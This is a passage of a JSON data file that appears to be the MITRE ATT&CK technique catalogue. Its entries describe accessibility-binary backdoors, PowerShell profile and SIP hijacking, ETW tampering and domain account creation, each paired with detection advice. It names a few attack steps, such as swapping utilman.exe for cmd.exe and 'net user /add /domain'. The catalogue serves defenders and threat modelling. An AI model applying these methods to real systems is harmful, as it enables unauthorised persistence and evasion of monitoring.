common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Modification","File: File Creation","Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Allen DeRyke, ICE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a","type":"attack-pattern","created":"2019-06-14T18:53:49.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1504","url":"https://attack.mitre.org/techniques/T1504"},{"source_name":"Microsoft About Profiles","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6","description":"Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."},{"source_name":"Wits End and Shady PowerShell Profiles","url":"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html","description":"DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."},{"url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","source_name":"Malware Archaeology PowerShell Cheat Sheet"}],"modified":"2020-01-24T15:11:53.430Z","name":"PowerShell Profile","description":"Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1198","url":"https://attack.mitre.org/techniques/T1198"},{"url":"https://msdn.microsoft.com/library/ms537359.aspx","description":"Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.","source_name":"Microsoft Authenticode"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx","description":"Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.","source_name":"Microsoft WinVerifyTrust"},{"url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","source_name":"SpectorOps Subverting Trust Sept 2017"},{"url":"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/","description":"Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.","source_name":"EduardosBlog SIPs July 2008"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files","description":"Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.","source_name":"Microsoft Catalog Files and Signatures April 2017"},{"url":"https://github.com/mattifestation/PoCSubjectInterfacePackage","description":"Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.","source_name":"GitHub SIP POC Sept 2017"},{"url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.","source_name":"Entrust Enable CAPI2 Aug 2017"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","source_name":"Microsoft Registry Auditing Aug 2016"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","source_name":"Microsoft Audit Registry July 2012"}],"modified":"2020-02-05T19:35:58.954Z","name":"SIP and Trust Provider Hijacking","description":"In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Autoruns Analysis","Digital Certificate Validation","Process whitelisting","User Mode Signature Validation"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Stepanic, Elastic","Microsoft Threat Intelligence Center (MSTIC)","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","type":"attack-pattern","created":"2017-05-31T21:31:06.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1087","url":"https://attack.mitre.org/techniques/T1087"},{"external_id":"CAPEC-575","source_name":"capec","url":"https://capec.mitre.org/data/definitions/575.html"},{"source_name":"Elastic - Koadiac Detection with EQL","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."}],"modified":"2021-10-13T14:05:15.038Z","name":"Account Discovery","description":"Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_version":"2.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Access","Command: Command Execution","User Account: User Account Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sheedy","Heather Linn","Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","type":"attack-pattern","created":"2017-05-31T21:31:08.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090","url":"https://attack.mitre.org/techniques/T1090"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-08-30T19:16:11.648Z","name":"Proxy","description":"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).","x_mitre_version":"3.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","created":"2017-05-31T21:30:49.546Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1059","url":"https://attack.mitre.org/techniques/T1059"},{"source_name":"Remote Shell Execution in Python","url":"https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python","description":"Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021."},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."},{"source_name":"Powershell Remote Commands","url":"https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1","description":"Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)","modified":"2022-04-19T18:31:48.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Command and Scripting Interpreter","x_mitre_detection":"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Module: Module Load","Process: Process Metadata","Script: Script Execution","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rob Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","type":"attack-pattern","created":"2020-03-19T19:09:30.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.006","url":"https://attack.mitre.org/techniques/T1562/006"},{"external_id":"CAPEC-571","source_name":"capec","url":"https://capec.mitre.org/data/definitions/571.html"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A","description":"Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.","source_name":"Microsoft Lamin Sept 2017"},{"source_name":"Microsoft About Event Tracing 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events","description":"Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."},{"source_name":"Medium Event Tracing Tampering 2018","url":"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63","description":"Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."}],"modified":"2021-01-13T15:56:04.897Z","name":"Indicator Blocking","description":"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Sensor Health: Host Status","Windows Registry: Windows Registry Key Modification"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","type":"attack-pattern","created":"2020-01-28T14:05:17.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1136.002","url":"https://attack.mitre.org/techniques/T1136/002"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}],"modified":"2020-03-23T18:12:36.696Z","name":"Domain Account","description":"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","type":"attack-pattern","created":"2020-10-02T14:57:15.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1589.003","url":"https://attack.mitre.org/techniques/T1589/003"},{"source_name":"OPM Leak","url":"https://www.opm.gov/cybersecurity/cybersecurity-incidents/","description":"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:27:49.437Z","name":"Employee Names","description":"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Dave Westgard","Elia Florio, Microsoft","Mnemonic","RedHuntLabs, 